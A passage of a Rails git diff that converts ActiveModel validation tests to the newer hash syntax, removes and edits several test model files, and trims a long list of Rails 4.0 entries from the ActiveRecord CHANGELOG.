+ Topic.validates :title, strict: true, presence: true
assert_raises ActiveModel::StrictValidationFailed do
Topic.new.valid?
end
end
def test_strict_validation_not_fails
- Topic.validates :title, :strict => true, :presence => true
- assert Topic.new(:title => "hello").valid?
+ Topic.validates :title, strict: true, presence: true
+ assert Topic.new(title: "hello").valid?
end
def test_strict_validation_particular_validator
- Topic.validates :title, :presence => { :strict => true }
+ Topic.validates :title, presence: { strict: true }
assert_raises ActiveModel::StrictValidationFailed do
Topic.new.valid?
end
end
def test_strict_validation_in_custom_validator_helper
- Topic.validates_presence_of :title, :strict => true
+ Topic.validates_presence_of :title, strict: true
assert_raises ActiveModel::StrictValidationFailed do
Topic.new.valid?
end
end
def test_strict_validation_custom_exception
- Topic.validates_presence_of :title, :strict => CustomStrictValidationException
+ Topic.validates_presence_of :title, strict: CustomStrictValidationException
assert_raises CustomStrictValidationException do
Topic.new.valid?
end
end
def test_validates_with_bang
- Topic.validates! :title, :presence => true
+ Topic.validates! :title, presence: true
assert_raises ActiveModel::StrictValidationFailed do
Topic.new.valid?
end
end
def test_validates_with_false_hash_value
- Topic.validates :title, :presence => false
+ Topic.validates :title, presence: false
assert Topic.new.valid?
end
def test_strict_validation_error_message
- Topic.validates :title, :strict => true, :presence => true
+ Topic.validates :title, strict: true, presence: true
exception = assert_raises(ActiveModel::StrictValidationFailed) do
Topic.new.valid?
@@ -354,14 +372,14 @@ class ValidationsTest < ActiveModel::TestCase
end
def test_does_not_modify_options_argument
- options = { :presence => true }
+ options = { presence: true }
Topic.validates :title, options
- assert_equal({ :presence => true }, options)
+ assert_equal({ presence: true }, options)
end
def test_dup_validity_is_independent
Topic.validates_presence_of :title
- topic = Topic.new("title" => "Litterature")
+ topic = Topic.new("title" => "Literature")
topic.valid?
duped = topic.dup
diff --git a/activemodel/test/models/administrator.rb b/activemodel/test/models/administrator.rb
deleted file mode 100644
index 2f3aff290c..0000000000
--- a/activemodel/test/models/administrator.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class Administrator
- extend ActiveModel::Callbacks
- include ActiveModel::Validations
- include ActiveModel::SecurePassword
-
- define_model_callbacks :create
-
- attr_accessor :name, :password_digest
-
- has_secure_password
-end
diff --git a/activemodel/test/models/automobile.rb b/activemodel/test/models/automobile.rb
deleted file mode 100644
index 021ea61c80..0000000000
--- a/activemodel/test/models/automobile.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class Automobile
- include ActiveModel::Validations
-
- validate :validations
-
- attr_accessor :make, :model
-
- def validations
- validates_presence_of :make
- validates_length_of :model, :within => 2..10
- end
-end \ No newline at end of file
diff --git a/activemodel/test/models/contact.rb b/activemodel/test/models/contact.rb
index 7bfc542afb..bcfd267a34 100644
--- a/activemodel/test/models/contact.rb
+++ b/activemodel/test/models/contact.rb
@@ -1,15 +1,20 @@
class Contact
extend ActiveModel::Naming
include ActiveModel::Conversion
+ include ActiveModel::Validations
+
+ include ActiveModel::Serializers::JSON
+ include ActiveModel::Serializers::Xml
attr_accessor :id, :name, :age, :created_at, :awesome, :preferences
+ attr_accessor :address, :friends, :contact
def social
%w(twitter github)
end
def network
- {:git => :github}
+ { git: :github }
end
def initialize(options = {})
@@ -23,4 +28,14 @@ class Contact
def persisted?
id
end
+
+ def attributes=(hash)
+ hash.each do |k, v|
+ instance_variable_set("@#{k}", v)
+ end
+ end
+
+ def attributes
+ instance_values.except("address", "friends", "contact")
+ end
end
diff --git a/activemodel/test/models/helicopter.rb b/activemodel/test/models/helicopter.rb
index a52b6fb4dd..933f3c463a 100644
--- a/activemodel/test/models/helicopter.rb
+++ b/activemodel/test/models/helicopter.rb
@@ -1,3 +1,7 @@
class Helicopter
include ActiveModel::Conversion
end
+
+class Helicopter::Comanche
+ include ActiveModel::Conversion
+end
diff --git a/activemodel/test/models/oauthed_user.rb b/activemodel/test/models/oauthed_user.rb
deleted file mode 100644
index 9750bc19d4..0000000000
--- a/activemodel/test/models/oauthed_user.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-class OauthedUser
- extend ActiveModel::Callbacks
- include ActiveModel::Validations
- include ActiveModel::SecurePassword
-
- define_model_callbacks :create
-
- has_secure_password(validations: false)
-
- attr_accessor :password_digest, :password_salt
-end
diff --git a/activemodel/test/models/reply.rb b/activemodel/test/models/reply.rb
index ec1efeac19..b77910e671 100644
--- a/activemodel/test/models/reply.rb
+++ b/activemodel/test/models/reply.rb
@@ -2,11 +2,11 @@ require 'models/topic'
class Reply < Topic
validate :errors_on_empty_content
- validate :title_is_wrong_create, :on => :create
+ validate :title_is_wrong_create, on: :create
validate :check_empty_title
- validate :check_content_mismatch, :on => :create
- validate :check_wrong_update, :on => :update
+ validate :check_content_mismatch, on: :create
+ validate :check_wrong_update, on: :update
def check_empty_title
errors[:title] << "is Empty" unless title && title.size > 0
diff --git a/activemodel/test/models/topic.rb b/activemodel/test/models/topic.rb
index c9af78f595..1411a093e9 100644
--- a/activemodel/test/models/topic.rb
+++ b/activemodel/test/models/topic.rb
@@ -6,7 +6,7 @@ class Topic
super | [ :message ]
end
- attr_accessor :title, :author_name, :content, :approved
+ attr_accessor :title, :author_name, :content, :approved, :created_at
attr_accessor :after_validation_performed
after_validation :perform_after_validation
diff --git a/activemodel/test/models/user.rb b/activemodel/test/models/user.rb
index 4b11df12bf..1ec6001c48 100644
--- a/activemodel/test/models/user.rb
+++ b/activemodel/test/models/user.rb
@@ -1,11 +1,10 @@
class User
extend ActiveModel::Callbacks
- include ActiveModel::Validations
include ActiveModel::SecurePassword
define_model_callbacks :create
has_secure_password
- attr_accessor :password_digest, :password_salt
+ attr_accessor :password_digest
end
diff --git a/activemodel/test/models/visitor.rb b/activemodel/test/models/visitor.rb
index 4d7f4be097..22ad1a3c3d 100644
--- a/activemodel/test/models/visitor.rb
+++ b/activemodel/test/models/visitor.rb
@@ -1,6 +1,5 @@
class Visitor
extend ActiveModel::Callbacks
- include ActiveModel::Validations
include ActiveModel::SecurePassword
define_model_callbacks :create
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
index 5913bf7809..298ee21e01 100644
--- a/activerecord/CHANGELOG.md
+++ b/activerecord/CHANGELOG.md
@@ -1,1151 +1,13 @@
-## Rails 4.0.0 (unreleased) ##
+* `add_timestamps` and `remove_timestamps` now properly reversible with
+ options.
-* Add `ActiveRecord::Base.cache_timestamp_format` class attribute to control
- the format of the timestamp value in the cache key.
- This allows users to improve the precision of the cache key.
- Fixes #8195.
+ *Noam Gagliardi-Rabinovich*
- *Rafael Mendonça França*
-
-* Add `:nsec` date format. This can be used to improve the precision of cache key.
-
- *Jamie Gaskins*
-
-* Fix decorating columns for serialized attributes. Fixes #8441
-
- *itzki*
-
-* Session variables can be set for the `mysql`, `mysql2`, and `postgresql` adapters
- in the `variables: <hash>` parameter in `database.yml`. The key-value pairs of this
- hash will be sent in a `SET key = value` query on new database connections. See also:
- http://dev.mysql.com/doc/refman/5.0/en/set-statement.html
- http://www.postgresql.org/docs/8.3/static/sql-set.html
-
- *Aaron Stone*
-
-* Allow `Relation#where` with no arguments to be chained with new `not` query method.
-
- Example:
-
- Developer.where.not(name: 'Aaron')
-
- *Akira Matsuda*
-
-* Unscope `update_column(s)` query to ignore default scope.
-
- When applying `default_scope` to a class with a where clause, using
- `update_column(s)` could generate a query that would not properly update
- the record due to the where clause from the `default_scope` being applied
- to the update query.
-
- class User < ActiveRecord::Base
- default_scope where(active: true)
- end
-
- user = User.first
- user.active = false
- user.save!
-
- user.update_column(:active, true) # => false
-
- In this situation we want to skip the default_scope clause and just
- update the record based on the primary key. With this change:
-
- user.update_column(:active, true) # => true
-
- Fixes #8436.
-
- *Carlos Antonio da Silva*
-
-* SQLite adapter no longer corrupts binary data if the data contains `%00`.
-
- *Chris Feist*
-
-* Fix performance problem with `primary_key` method in PostgreSQL adapter when having many schemas.
- Uses `pg_constraint` table instead of `pg_depend` table which has many records in general.
- Fix #8414
-
- *kennyj*
-
-* Do not instantiate intermediate Active Record objects when eager loading.
- These records caused `after_find` to run more than expected.
- Fix #3313
-
- *Yves Senn*
-
-* Add STI support to init and building associations.
- Allows you to do `BaseClass.new(:type => "SubClass")` as well as
- `parent.children.build(:type => "SubClass")` or `parent.build_child`
- to initialize an STI subclass. Ensures that the class name is a
- valid class and that it is in the ancestors of the super class
- that the association is expecting.
-
- *Jason Rush*
-
-* Observers was extracted from Active Record as `rails-observers` gem.
-
- *Rafael Mendonça França*
-
-* Ensure that associations take a symbol argument. *Steve Klabnik*
-
-* Fix dirty attribute checks for `TimeZoneConversion` with nil and blank
- datetime attributes. Setting a nil datetime to a blank string should not
- result in a change being flagged. Fix #8310
-
- *Alisdair McDiarmid*
-
-* Prevent mass assignment to the type column of polymorphic associations when using `build`
- Fix #8265
-
- *Yves Senn*
-
-* Deprecate calling `Relation#sum` with a block. To perform a calculation over
- the array result of the relation, use `to_a.sum(&block)`.
-
- *Carlos Antonio da Silva*
-
-* Fix postgresql adapter to handle BC timestamps correctly
-
- HistoryEvent.create!(:name => "something", :occured_at => Date.new(0) - 5.years)
-
- *Bogdan Gusiev*
-
-* When running migrations on Postgresql, the `:limit` option for `binary` and `text` columns is silently dropped.
- Previously, these migrations caused sql exceptions, because Postgresql doesn't support limits on these types.
-
- *Victor Costan*
-
-* Don't change STI type when calling `ActiveRecord::Base#becomes`.
- Add `ActiveRecord::Base#becomes!` with the previous behavior.
-
- See #3023 for more information.
-
- *Thomas Hollstegge*
-
-* `rename_index` can be used inside a `change_table` block.
-
- change_table :accounts do |t|
- t.rename_index :user_id, :account_id
- end
-
- *Jarek Radosz*
-
-* `#pluck` can be used on a relation with `select` clause. Fix #7551
-
- Example:
-
- Topic.select([:approved, :id]).order(:id).pluck(:id)
+* `ActiveRecord::ConnectionAdapters::ColumnDumper#column_spec` and
+ `ActiveRecord::ConnectionAdapters::ColumnDumper#prepare_column_options` no
+ longer have a `types` argument. They should access
+ `connection#native_database_types` directly.
*Yves Senn*
-* Do not create useless database transaction when building `has_one` association.
-
- Example:
-
- User.has_one :profile
- User.new.build_profile
-
- *Bogdan Gusiev*
-
-* `:counter_cache` option for `has_many` associations to support custom named counter caches.
- Fix #7993
-
- *Yves Senn*
-
-* Deprecate the possibility to pass a string as third argument of `add_index`.
- Pass `unique: true` instead.
-
- add_index(:users, :organization_id, unique: true)
-
- *Rafael Mendonça França*
-
-* Raise an `ArgumentError` when passing an invalid option to `add_index`.
-
- *Rafael Mendonça França*
-
-* Fix `find_in_batches` crashing when IDs are strings and start option is not specified.
-
- *Alexis Bernard*
-
-* `AR::Base#attributes_before_type_cast` now returns unserialized values for serialized attributes.
-
- *Nikita Afanasenko*
-
-* Use query cache/uncache when using `DATABASE_URL`.
- Fix #6951.
-
- *kennyj*
-
-* Added `#none!` method for mutating `ActiveRecord::Relation` objects to a NullRelation.
- It acts like `#none` but modifies relation in place.
-
- *Juanjo Bazán*
-
-* Fix bug where `update_columns` and `update_column` would not let you update the primary key column.
-
- *Henrik Nyh*
-
-* The `create_table` method raises an `ArgumentError` when the primary key column is redefined.
- Fix #6378
-
- *Yves Senn*
-
-* `ActiveRecord::AttributeMethods#[]` raises `ActiveModel::MissingAttributeError`
- error if the given attribute is missing. Fixes #5433.
-
- class Person < ActiveRecord::Base
- belongs_to :company
- end
-
- # Before:
- person = Person.select('id').first
- person[:name] # => nil
- person.name # => ActiveModel::MissingAttributeError: missing_attribute: name
- person[:company_id] # => nil
- person.company # => nil
-
- # After:
- person = Person.select('id').first
- person[:name] # => ActiveModel::MissingAttributeError: missing_attribute: name
- person.name # => ActiveModel::MissingAttributeError: missing_attribute: name
- person[:company_id] # => ActiveModel::MissingAttributeError: missing_attribute: company_id
- person.company # => ActiveModel::MissingAttributeError: missing_attribute: company_id
-
- *Francesco Rodriguez*
-
-* Small binary fields use the `VARBINARY` MySQL type, instead of `TINYBLOB`.
-
- *Victor Costan*
-
-* Decode URI encoded attributes on database connection URLs.
-
- *Shawn Veader*
-
-* Add `find_or_create_by`, `find_or_create_by!` and
- `find_or_initialize_by` methods to `Relation`.
-
- These are similar to the `first_or_create` family of methods, but
- the behaviour when a record is created is slightly different:
-
- User.where(first_name: 'Penélope').first_or_create
-
- will execute:
-
- User.where(first_name: 'Penélope').create
-
- Causing all the `create` callbacks to execute within the context of
- the scope. This could affect queries that occur within callbacks.
-
- User.find_or_create_by(first_name: 'Penélope')
-
- will execute:
-
- User.create(first_name: 'Penélope')
-
- Which obviously does not affect the scoping of queries within
- callbacks.
-
- The `find_or_create_by` version also reads better, frankly.
-
- If you need to add extra attributes during create, you can do one of:
-
- User.create_with(active: true).find_or_create_by(first_name: 'Jon')
- User.find_or_create_by(first_name: 'Jon') { |u| u.active = true }
-
- The `first_or_create` family of methods have been nodoc'ed in favour
- of this API. They may be deprecated in the future but their
- implementation is very small and it's probably not worth putting users
- through lots of annoying deprecation warnings.
-
- *Jon Leighton*
-
-* Fix bug with presence validation of associations. Would incorrectly add duplicated errors
- when the association was blank. Bug introduced in 1fab518c6a75dac5773654646eb724a59741bc13.
-
- *Scott Willson*
-
-* Fix bug where sum(expression) returns string '0' for no matching records.
- Fixes #7439
-
- *Tim Macfarlane*
-
-* PostgreSQL adapter correctly fetches default values when using multiple schemas and domains in a db. Fixes #7914
-
- *Arturo Pie*
-
-* Learn ActiveRecord::QueryMethods#order work with hash arguments
-
- When symbol or hash passed we convert it to Arel::Nodes::Ordering.
- If we pass invalid direction(like name: :DeSc) ActiveRecord::QueryMethods#order will raise an exception
-
- User.order(:name, email: :desc)
- # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
-
- *Tima Maslyuchenko*
-
-* Rename `ActiveRecord::Fixtures` class to `ActiveRecord::FixtureSet`.
- Instances of this class normally hold a collection of fixtures (records)
- loaded either from a single YAML file, or from a file and a folder
- with the same name. This change make the class name singular and makes
- the class easier to distinguish from the modules like
- `ActiveRecord::TestFixtures`, which operates on multiple fixture sets,
- or `DelegatingFixtures`, `::Fixtures`, etc.,
- and from the class `ActiveRecord::Fixture`, which corresponds to a single
- fixture.
-
- *Alexey Muranov*
-
-* The postgres adapter now supports tables with capital letters.
- Fix #5920
-
- *Yves Senn*
-
-* `CollectionAssociation#count` returns `0` without querying if the
- parent record is not persisted.
-
- Before:
-
- person.pets.count
- # SELECT COUNT(*) FROM "pets" WHERE "pets"."person_id" IS NULL
- # => 0
-
- After:
-
- person.pets.count
- # fires without sql query
- # => 0
-
- *Francesco Rodriguez*
-
-* Fix `reset_counters` crashing on `has_many :through` associations.
- Fix #7822.
-
- *lulalala*
-
-* Support for partial inserts.
-
- When inserting new records, only the fields which have been changed
- from the defaults will actually be included in the INSERT statement.
- The other fields will be populated by the database.
-
- This is more efficient, and also means that it will be safe to
- remove database columns without getting subsequent errors in running
- app processes (so long as the code in those processes doesn't
- contain any references to the removed column).
-
- The `partial_updates` configuration option is now renamed to
- `partial_writes` to reflect the fact that it now impacts both inserts
- and updates.
-
- *Jon Leighton*
-
-* Allow before and after validations to take an array of lifecycle events
-
- *John Foley*
-
-* Support for specifying transaction isolation level
-
- If your database supports setting the isolation level for a transaction, you can set
- it like so:
-
- Post.transaction(isolation: :serializable) do
- # ...
- end
-
- Valid isolation levels are:
-
- * `:read_uncommitted`
- * `:read_committed`
- * `:repeatable_read`
- * `:serializable`
-
- You should consult the documentation for your database to understand the
- semantics of these different levels:
-
- * http://www.postgresql.org/docs/9.1/static/transaction-iso.html
- * https://dev.mysql.com/doc/refman/5.0/en/set-transaction.html
-
- An `ActiveRecord::TransactionIsolationError` will be raised if:
-
- * The adapter does not support setting the isolation level
- * You are joining an existing open transaction
- * You are creating a nested (savepoint) transaction
-
- The mysql, mysql2 and postgresql adapters support setting the transaction
- isolation level. However, support is disabled for mysql versions below 5,
- because they are affected by a bug (http://bugs.mysql.com/bug.php?id=39170)
- which means the isolation level gets persisted outside the transaction.
-
- *Jon Leighton*
-
-* `ActiveModel::ForbiddenAttributesProtection` is included by default
- in Active Record models. Check the docs of `ActiveModel::ForbiddenAttributesProtection`
- for more details.
-
- *Guillermo Iguaran*
-
-* Remove integration between Active Record and
- `ActiveModel::MassAssignmentSecurity`, `protected_attributes` gem
- should be added to use `attr_accessible`/`attr_protected`. Mass
- assignment options has been removed from all the AR methods that
- used it (ex. `AR::Base.new`, `AR::Base.create`, `AR::Base#update_attributes`, etc).
-
- *Guillermo Iguaran*
-
-* Fix the return of querying with an empty hash.
- Fix #6971.
-
- User.where(token: {})
-
- Before:
-
- #=> SELECT * FROM users;
-
- After:
-
- #=> SELECT * FROM users WHERE 1 = 2;
-
- *Damien Mathieu*
-
-* Fix creation of through association models when using `collection=[]`
- on a `has_many :through` association from an unsaved model.
- Fix #7661.
-
- *Ernie Miller*
-
-* Explain only normal CRUD sql (select / update / insert / delete).
- Fix problem that explains unexplainable sql.
- Closes #7544 #6458.
-
- *kennyj*
-
-* You can now override the generated accessor methods for stored attributes
- and reuse the original behavior with `read_store_attribute` and `write_store_attribute`,
- which are counterparts to `read_attribute` and `write_attribute`.
-
- *Matt Jones*
-
-* Accept belongs_to (including polymorphic) association keys in queries.
-
- The following queries are now equivalent:
-
- Post.where(author: author)
- Post.where(author_id: author)
-
- PriceEstimate.where(estimate_of: treasure)
- PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: treasure)
-
- *Peter Brown*
-
-* Use native `mysqldump` command instead of `structure_dump` method
- when dumping the database structure to a sql file. Fixes #5547.
-
- *kennyj*
-
-* PostgreSQL inet and cidr types are converted to `IPAddr` objects.
-
- *Dan McClain*
-
-* PostgreSQL array type support. Any datatype can be used to create an
- array column, with full migration and schema dumper support.
-
- To declare an array column, use the following syntax:
-
- create_table :table_with_arrays do |t|
- t.integer :int_array, array: true
- # integer[]
- t.integer :int_array, array: true, length: 2
- # smallint[]
- t.string :string_array, array: true, length: 30
- # char varying(30)[]
- end
-
- This respects any other migration detail (limits, defaults, etc).
- Active Record will serialize and deserialize the array columns on
- their way to and from the database.
-
- One thing to note: PostgreSQL does not enforce any limits on the
- number of elements, and any array can be multi-dimensional. Any
- array that is multi-dimensional must be rectangular (each sub array
- must have the same number of elements as its siblings).
-
- If the `pg_array_parser` gem is available, it will be used when
- parsing PostgreSQL's array representation.
-
- *Dan McClain*
-
-* Attribute predicate methods, such as `article.title?`, will now raise
- `ActiveModel::MissingAttributeError` if the attribute being queried for
- truthiness was not read from the database, instead of just returning `false`.
-
- *Ernie Miller*
-
-* `ActiveRecord::SchemaDumper` uses Ruby 1.9 style hash, which means that the
- schema.rb file will be generated using this new syntax from now on.
-
- *Konstantin Shabanov*
-
-* Map interval with precision to string datatype in PostgreSQL. Fixes #7518.
-
- *Yves Senn*
-
-* Fix eagerly loading associations without primary keys. Fixes #4976.
-
- *Kelley Reynolds*
-
-* Rails now raise an exception when you're trying to run a migration that has an invalid
- file name. Only lower case letters, numbers, and '_' are allowed in migration's file name.
- Please see #7419 for more details.
-
- *Jan Bernacki*
-
-* Fix bug when calling `store_accessor` multiple times.
- Fixes #7532.
-
- *Matt Jones*
-
-* Fix store attributes that show the changes incorrectly.
- Fixes #7532.
-
- *Matt Jones*
-
-* Fix `ActiveRecord::Relation#pluck` when columns or tables are reserved words.
-
- *Ian Lesperance*
-
-* Allow JSON columns to be created in PostgreSQL and properly encoded/decoded.
- to/from database.
-
- *Dickson S. Guedes*
-
-* Fix time column type casting for invalid time string values to correctly return `nil`.
-
- *Adam Meehan*
-
-* Allow to pass Symbol or Proc into `:limit` option of #accepts_nested_attributes_for.
-
- *Mikhail Dieterle*
-
-* ActiveRecord::SessionStore has been extracted from Active Record as `activerecord-session_store`
- gem. Please read the `README.md` file on the gem for the usage.
-
- *Prem Sichanugrist*
-
-* Fix `reset_counters` when there are multiple `belongs_to` association with the
- same foreign key and one of them have a counter cache.
- Fixes #5200.
-
- *Dave Desrochers*
-
-* `serialized_attributes` and `_attr_readonly` become class method only. Instance reader methods are deprecated.
-
- *kennyj*
-
-* Round usec when comparing timestamp attributes in the dirty tracking.
- Fixes #6975.
-
- *kennyj*
-
-* Use inversed parent for first and last child of `has_many` association.
-
- *Ravil Bayramgalin*
-
-* Fix `Column.microseconds` and `Column.fast_string_to_time` to avoid converting
- timestamp seconds to a float, since it occasionally results in inaccuracies
- with microsecond-precision times. Fixes #7352.
-
- *Ari Pollak*
-
-* Fix AR#dup to nullify the validation errors in the dup'ed object. Previously the original
- and the dup'ed object shared the same errors.
-
- *Christian Seiler*
-
-* Raise `ArgumentError` if list of attributes to change is empty in `update_all`.
-
- *Roman Shatsov*
-
-* Fix AR#create to return an unsaved record when AR::RecordInvalid is
- raised. Fixes #3217.
-
- *Dave Yeu*
-
-* Fixed table name prefix that is generated in engines for namespaced models.
-
- *Wojciech Wnętrzak*
-
-* Make sure `:environment` task is executed before `db:schema:load` or `db:structure:load`.
- Fixes #4772.
-
- *Seamus Abshere*
-
-* Allow Relation#merge to take a proc.
-
- This was requested by DHH to allow creating of one's own custom
- association macros.
-
- For example:
-
- module Commentable
- def has_many_comments(extra)
- has_many :comments, -> { where(:foo).merge(extra) }
- end
- end
-
- class Post < ActiveRecord::Base
- extend Commentable
- has_many_comments -> { where(:bar) }
- end
-
- *Jon Leighton*
-
-* Add CollectionProxy#scope.
-
- This can be used to get a Relation from an association.
-
- Previously we had a #scoped method, but we're deprecating that for
- AR::Base, so it doesn't make sense to have it here.
-
- This was requested by DHH, to facilitate code like this:
-
- Project.scope.order('created_at DESC').page(current_page).tagged_with(@tag).limit(5).scoping do
- @topics = @project.topics.scope
- @todolists = @project.todolists.scope
- @attachments = @project.attachments.scope
- @documents = @project.documents.scope
- end
-
- *Jon Leighton*
-
-* Add `Relation#load`.
-
- This method explicitly loads the records and then returns `self`.
-
- Rather than deciding between "do I want an array or a relation?",
- most people are actually asking themselves "do I want to eager load
- or lazy load?" Therefore, this method provides a way to explicitly
- eager-load without having to switch from a `Relation` to an array.
-
- Example:
-
- @posts = Post.where(published: true).load
-
- *Jon Leighton*
-
-* `Relation#order`: make new order prepend old one.
-
- User.order("name asc").order("created_at desc")
- # SELECT * FROM users ORDER BY created_at desc, name asc
-
- This also affects order defined in `default_scope` or any kind of associations.
-
- *Bogdan Gusiev*
-
-* `Model.all` now returns an `ActiveRecord::Relation`, rather than an
- array of records. Use `Relation#to_a` if you really want an array.
-
- In some specific cases, this may cause breakage when upgrading.
- However in most cases the `ActiveRecord::Relation` will just act as a
- lazy-loaded array and there will be no problems.
-
- Note that calling `Model.all` with options (e.g.
- `Model.all(conditions: '...')` was already deprecated, but it will
- still return an array in order to make the transition easier.
-
- `Model.scoped` is deprecated in favour of `Model.all`.
-
- `Relation#all` still returns an array, but is deprecated (since it
- would serve no purpose if we made it return a `Relation`).
-
- *Jon Leighton*
-
-* `:finder_sql` and `:counter_sql` options on collection associations
- are deprecated. Please transition to using scopes.
-
- *Jon Leighton*
-
-* `:insert_sql` and `:delete_sql` options on `has_and_belongs_to_many`
- associations are deprecated. Please transition to using `has_many
- :through`.
-
- *Jon Leighton*
-
-* Added `#update_columns` method which updates the attributes from
- the passed-in hash without calling save, hence skipping validations and
- callbacks. `ActiveRecordError` will be raised when called on new objects
- or when at least one of the attributes is marked as read only.
-
- post.attributes # => {"id"=>2, "title"=>"My title", "body"=>"My content", "author"=>"Peter"}
- post.update_columns(title: 'New title', author: 'Sebastian') # => true
- post.attributes # => {"id"=>2, "title"=>"New title", "body"=>"My content", "author"=>"Sebastian"}
-
- *Sebastian Martinez + Rafael Mendonça França*
-
-* The migration generator now creates a join table with (commented) indexes every time
- the migration name contains the word `join_table`:
-
- rails g migration create_join_table_for_artists_and_musics artist_id:index music_id
-
- *Aleksey Magusev*
-
-* Add `add_reference` and `remove_reference` schema statements. Aliases, `add_belongs_to`
- and `remove_belongs_to` are acceptable. References are reversible.
-
- Examples:
-
- # Create a user_id column
- add_reference(:products, :user)
- # Create a supplier_id, supplier_type columns and appropriate index
- add_reference(:products, :supplier, polymorphic: true, index: true)
- # Remove polymorphic reference
- remove_reference(:products, :supplier, polymorphic: true)
-
- *Aleksey Magusev*
-
-* Add `:default` and `:null` options to `column_exists?`.
-
- column_exists?(:testings, :taggable_id, :integer, null: false)
- column_exists?(:testings, :taggable_type, :string, default: 'Photo')
-
- *Aleksey Magusev*
-
-* `ActiveRecord::Relation#inspect` now makes it clear that you are
- dealing with a `Relation` object rather than an array:.
-
- User.where(age: 30).inspect
- # => <ActiveRecord::Relation [#<User ...>, #<User ...>, ...]>
-
- User.where(age: 30).to_a.inspect
- # => [#<User ...>, #<User ...>]
-
- The number of records displayed will be limited to 10.
-
- *Brian Cardarella, Jon Leighton & Damien Mathieu*
-
-* Add `collation` and `ctype` support to PostgreSQL. These are available for PostgreSQL 8.4 or later.
- Example:
-
- development:
- adapter: postgresql
- host: localhost
- database: rails_development
- username: foo
- password: bar
- encoding: UTF8
- collation: ja_JP.UTF8
- ctype: ja_JP.UTF8
-
- *kennyj*
-
-* Changed validates_presence_of on an association so that children objects
- do not validate as being present if they are marked for destruction. This
- prevents you from saving the parent successfully and thus putting the parent
- in an invalid state.
-
- *Nick Monje & Brent Wheeldon*
-
-* `FinderMethods#exists?` now returns `false` with the `false` argument.
-
- *Egor Lynko*
-
-* Added support for specifying the precision of a timestamp in the postgresql
- adapter. So, instead of having to incorrectly specify the precision using the
- `:limit` option, you may use `:precision`, as intended. For example, in a migration:
-
- def change
- create_table :foobars do |t|
- t.timestamps :precision => 0
- end
- end
-
- *Tony Schneider*
-
-* Allow `ActiveRecord::Relation#pluck` to accept multiple columns. Returns an
- array of arrays containing the typecasted values:
-
- Person.pluck(:id, :name)
- # SELECT people.id, people.name FROM people
- # [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
-
- *Jeroen van Ingen & Carlos Antonio da Silva*
-
-* Improve the derivation of HABTM join table name to take account of nesting.
- It now takes the table names of the two models, sorts them lexically and
- then joins them, stripping any common prefix from the second table name.
-
- Some examples:
-
- Top level models (Category <=> Product)
- Old: categories_products
- New: categories_products
-
- Top level models with a global table_name_prefix (Category <=> Product)
- Old: site_categories_products
- New: site_categories_products
-
- Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product)
- Old: categories_products
- New: categories_products
-
- Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product)
- Old: categories_products
- New: admin_categories_products
-
- Nested models in a parent model (Catalog::Category <=> Catalog::Product)
- Old: categories_products
- New: catalog_categories_products
-
- Nested models in different parent models (Catalog::Category <=> Content::Page)
- Old: categories_pages
- New: catalog_categories_content_pages
-
- *Andrew White*
-
-* Move HABTM validity checks to `ActiveRecord::Reflection`. One side effect of
- this is to move when the exceptions are raised from the point of declaration
- to when the association is built. This is consistant with other association
- validity checks.
-
- *Andrew White*
-
-* Added `stored_attributes` hash which contains the attributes stored using
- `ActiveRecord::Store`. This allows you to retrieve the list of attributes
- you've defined.
-
- class User < ActiveRecord::Base
- store :settings, accessors: [:color, :homepage]
- end
-
- User.stored_attributes[:settings] # [:color, :homepage]
-
- *Joost Baaij & Carlos Antonio da Silva*
-
-* PostgreSQL default log level is now 'warning', to bypass the noisy notice
- messages. You can change the log level using the `min_messages` option
- available in your config/database.yml.
-
- *kennyj*
-
-* Add uuid datatype support to PostgreSQL adapter.
-
- *Konstantin Shabanov*
-
-* Added `ActiveRecord::Migration.check_pending!` that raises an error if
- migrations are pending.
-
- *Richard Schneeman*
-
-* Added `#destroy!` which acts like `#destroy` but will raise an
- `ActiveRecord::RecordNotDestroyed` exception instead of returning `false`.
-
- *Marc-André Lafortune*
-
-* Added support to `CollectionAssociation#delete` for passing `fixnum`
- or `string` values as record ids. This finds the records responding
- to the `id` and executes delete on them.
-
- class Person < ActiveRecord::Base
- has_many :pets
- end
-
- person.pets.delete("1") # => [#<Pet id: 1>]
- person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>]
-
- *Francesco Rodriguez*
-
-* Deprecated most of the 'dynamic finder' methods. All dynamic methods
- except for `find_by_...` and `find_by_...!` are deprecated. Here's
- how you can rewrite the code:
-
- * `find_all_by_...` can be rewritten using `where(...)`
- * `find_last_by_...` can be rewritten using `where(...).last`
- * `scoped_by_...` can be rewritten using `where(...)`
- * `find_or_initialize_by_...` can be rewritten using
- `where(...).first_or_initialize`
- * `find_or_create_by_...` can be rewritten using
- `find_or_create_by(...)` or where(...).first_or_create`
- * `find_or_create_by_...!` can be rewritten using
- `find_or_create_by!(...) or `where(...).first_or_create!`
-
- The implementation of the deprecated dynamic finders has been moved
- to the `activerecord-deprecated_finders` gem. See below for details.
-
- *Jon Leighton*
-
-* Deprecated the old-style hash based finder API. This means that
- methods which previously accepted "finder options" no longer do. For
- example this:
-
- Post.find(:all, conditions: { comments_count: 10 }, limit: 5)
-
- Should be rewritten in the new style which has existed since Rails 3:
-
- Post.where(comments_count: 10).limit(5)
-
- Note that as an interim step, it is possible to rewrite the above as:
-
- Post.all.merge(where: { comments_count: 10 }, limit: 5)
-
- This could save you a lot of work if there is a lot of old-style
- finder usage in your application.
-
- `Relation#merge` now accepts a hash of
- options, but they must be identical to the names of the equivalent
- finder method. These are mostly identical to the old-style finder
- option names, except in the following cases:
-
- * `:conditions` becomes `:where`.
- * `:include` becomes `:includes`.
- * `:extend` becomes `:extending`.
-
- The code to implement the deprecated features has been moved out to
- the `activerecord-deprecated_finders` gem. This gem is a dependency
- of Active Record in Rails 4.0. It will no longer be a dependency
- from Rails 4.1, but if your app relies on the deprecated features
- then you can add it to your own Gemfile. It will be maintained by
- the Rails core team until Rails 5.0 is released.
-
- *Jon Leighton*
-
-* It's not possible anymore to destroy a model marked as read only.
-
- *Johannes Barre*
-
